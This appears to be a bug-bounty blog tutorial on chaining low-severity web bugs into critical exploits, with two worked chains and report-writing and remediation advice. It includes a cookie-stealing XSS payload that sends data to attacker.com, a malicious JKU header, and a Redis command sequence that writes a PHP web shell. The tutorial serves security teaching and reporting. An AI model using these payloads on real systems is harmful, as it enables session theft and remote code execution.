
Bro, since you already know how to find bugs, now it’s time to take it to the next level.
What I meant — Don’t just stop at finding individual bugs, even if they look small or low severity. Try to think: “Can I use this together with another bug to make the impact bigger?” This is called bug chaining.
Basically, sometimes one bug on its own might not seem like a big deal — maybe it’s just a misconfigured header or a file upload that restricts certain types. But if you combine that with something else like weak authentication, open redirect, or a small logic flaw — suddenly you have a full exploit chain that leads to something serious like account takeover or even RCE.
It’s like connecting the dots.
Example -
You find a file upload, but it only accepts images.
Somewhere else you find a path disclosure. And maybe you find a weak session cookie setup.
Individually, each of these might get you a small bounty or even be marked as low impact. But if you put them together smartly, you might be able to:
Bypass upload restrictions, Trigger something using the disclosed path and then try to Steal sessions or escalate privileges
That’s when you turn a few “meh” bugs into a critical report.
It’s all about the mindset. When you find a bug, always think: “What can I combine this with?” — either from the same app or other apps on the same domain.
This is how top hunters work, and it’s how you move from finding bugs to showing real-world impact.
Here’s a structured example of chaining vulnerabilities from low to critical impact, based on OWASP Top 10: a step-by-step multi-bug attack path, complete with the attack narrative, impact escalation, POCs, and resources you can reference.
🧩 Vulnerability Chain: From Low → Medium → High → Critical
Overview Chain
- A05 Security Misconfiguration (Low): Open redirect or improper CORS
2. A03 Injection (Medium): Reflected XSS via the open redirect landing page
3. A07 Identification & Authentication Failures (High): CSRF token stealing via XSS → session takeover
4. A01 Broken Access Control (Critical): Use session to perform admin-only actions → full takeover
Low Severity — Misconfiguration: Open Redirect or Weak CORS
Description: An endpoint improperly allows any redirect URL or permits overly permissive CORS Access‑Control-Allow-Origin: *.
POC:
GET /redirect?next=https://attacker.comor check response headers:
Access-Control-Allow-Origin: *Impact: Alone, this is low. But it enables phishing or delivering malicious payloads.
Resource: Uproot Security walkthrough about chaining low-impact bugs like open redirects to high-impact outcomes (Uproot Security, OWASP Foundation, OSINT Team, Splunk)
Medium Severity — A03: Reflected XSS on Redirected URL
Description: The attacker chain involves redirecting victims to a URL where injected script is reflected unsanitized.
Attack: Launch a crafted URL after redirect:
https://vulnerable.com/redirect?next=https://vulnerable.com/page?search=<script>…</script>When user lands, XSS executes.
POC:
<script>fetch(' https://attacker.com/steal?c='+document.cookie)</script>Impact: Steals cookies/session token if user is authenticated.
Chain primer: OSINT Team article on chaining CSRF + XSS for account takeover
High Severity — A07: CSRF Token Theft & Session Hijacking via XSS
Description: Use the stolen session cookie to perform authenticated actions. If CSRF tokens are stored in JS or accessible cookies, you can extract them too.
POC Attack Flow:
- Victim clicks the malicious link (via open redirect).
2. XSS steals authentication cookie and/or CSRF token, sends to attacker.
3. Attacker reuses the session cookie to perform privileged actions via API requests.
Impact: Account takeover, possible privilege escalation or lateral movement depending on victim role.
Critical Severity — A01: Broken Access Control
Description: With the hijacked session, attacker accesses admin endpoints due to missing privilege checks or IDOR flaws.
Example POC:
GET /api/admin/userlist
Cookie: session=STOLENSESSIONor attempt privileged operations:
POST /api/admin/delete-user?id=123 Impact: Full account compromise, data theft, service disruption, or further persistence.
🧠 How to Present This in a Bug Report
Title: Chained Open Redirect → XSS → Session Hijack → Admin Access
Description: Summarize the chain, mention each bug and its OWASP classification.
Steps to Reproduce:
- Visit
...redirect?next=<victim-url>.
2. Follow to crafted URL with XSS payload.
3. Capture session via JS payload.
4. Replay session token to access admin-only resource.
Proof-of-Concept: Provide actual HTTP requests, JS snippets, and screenshots.
Impact Assessment: Explain how low/seemingly minor flaws escalate to critical-level system compromise.
Remediation Suggestions:
Fix open redirect by validating redirect domains.
Properly encode and sanitize reflected input.
SetSameSite=strict,HttpOnly, and secure cookie flags.
Enforce server-side access control on admin endpoints.
Absolutely! Let’s build a step-by-step chained exploit path covering low → critical impact, leveraging OWASP Top 10 vulnerabilities with concrete POCs, HTTP snippets, and impact analysis.
🧩 Vulnerability Chain: JWT Exploitation → IDOR → SSRF → RCE
Chain Overview:
- A07 (Low): JWT Algorithm Confusion → craft elevated JWT
- A01 (Medium): Use forged token to access an IDOR endpoint
- A10 (High): Discover SSRF via JKU parameter or hosted JWK
- A03 (Critical): Leverage SSRF to access internal API (e.g. Redis) → RCE
Low Severity — JWT Algorithm Confusion (A07)
Impact: Allows forging a token with elevated privileges (e.g., "isAdmin": true) using the public key as HMAC secret.
POC Steps:
- Retrieve public key via
/jwks.jsonor infer via two valid tokens (Medium, PortSwigger, Medium, Imperva). - Convert JWK → X.509 PEM (e.g. via
rsa_sign2n) (Vaadata). - Modify header to
"alg":"HS256", payload to{"role":"admin"}, sign using PEM as secret. - Use forged token to authenticate in application (e.g. cookie or Authorization header).
Medium Severity — Exploit IDOR with Forged Token (A01)
Impact: Abuse API endpoints accessible only by admins to perform unauthorized actions.
POC Steps:
- Using
"admin"forged JWT, call IDOR-sensitive endpoints:
GET /api/admin/user/targetUserId
Authorization: Bearer <forged‑token>2. Or delete/update user data:
POST /api/admin/user/delete?id=<target> Impact Analysis: Reads or modifies other user’s data, performs admin tasks without proper auth.
High Severity — Exploit SSRF via jku or hosted JWK (A10)
Impact: Attacker-controlled jku header causes server-side fetch; SSRF can be used for internal probing or pivot access.
POC Steps:
- Host malicious JWK set on
attacker.com/jwks.json. - Build JWT header:
{
"alg":"RS256",
"jku":"https://attacker.com/jwks.json",
"kid":"key1"
}3. Sign token with attacker’s private key matching the JWK.
4. Submit token and observe server fetches attacker.com. This confirms SSRF vector.
Resource: Vaadata explains JKU / KID parameter misuse and SSRF introduction via JKU fetch (Vaadata).
Critical Severity — SSRF to Internal Service → RCE (A03)
Impact: Chain SSRF to internal service (e.g., Redis) via gopher protocol → issue commands → achieve RCE.
POC Steps:
- Using SSRF host parameter, craft URL:
gopher://127.0.0.1:6379/_SET%20key%20\xAA\xAA\r\n2. Or trigger Redis CONFIG SET dir /var/www/html; CONFIG SET dbfilename shell.php; SET key '<?php system($_GET["cmd"]); ?>' to write web shell.
3. Access http://target/shell.php?cmd=id to confirm execution.
Resource: Medium case study “SSRF to RCE” chaining SSRF → XXE → RCE (Medium); Assetnote’s blind SSRF chaining POCs for pivot and internal RCE (Assetnote Blog).
📌 Presentation Tips for Reporting
Title: JWT Confusion → IDOR → SSRF → Internal RCE (End-to-End)
Description: Demonstrate how low-impact misconfig leads to full RCE via chained vulnerabilities.
Steps to Reproduce:
- Retrieve public key and craft JWT.
- Use forged token to reach admin endpoints.
- Exploit
jkuparameter to induce SSRF. - Trigger gopher-based payload to chain into internal Redis → remote code execution.
Proof-of-Concept: Include HTTP request captures, JWT header/payload modification, hosted JWK request logs, Redis commands, and shell output.
Impact Assessment: Demonstrate unchecked trust in JWT config leads to full system compromise.
Recommendations:
- Strict algorithm validation — do not allow header-chosen algorithms (validate server-side).
- Disable untrusted
jkuandkid; whitelist only approved keys. - Enforce server-side access control and validate all admin APIs.
- Block risky protocols (
gopher://) and block internal IP spaces for SSRF.
🔗 Supporting Resources
- PortSwigger academy on algorithm confusion (PortSwigger, Indusface, Vaadata, Imperva, Traceable, Pentesterlab)
- Vaadata JWT guide including SSRF via
jkuparameter (Vaadata) - Medium case study SSRF to RCE chaining (Medium)
- Assetnote blind SSRF chaining repository (Assetnote Blog)
0 Comments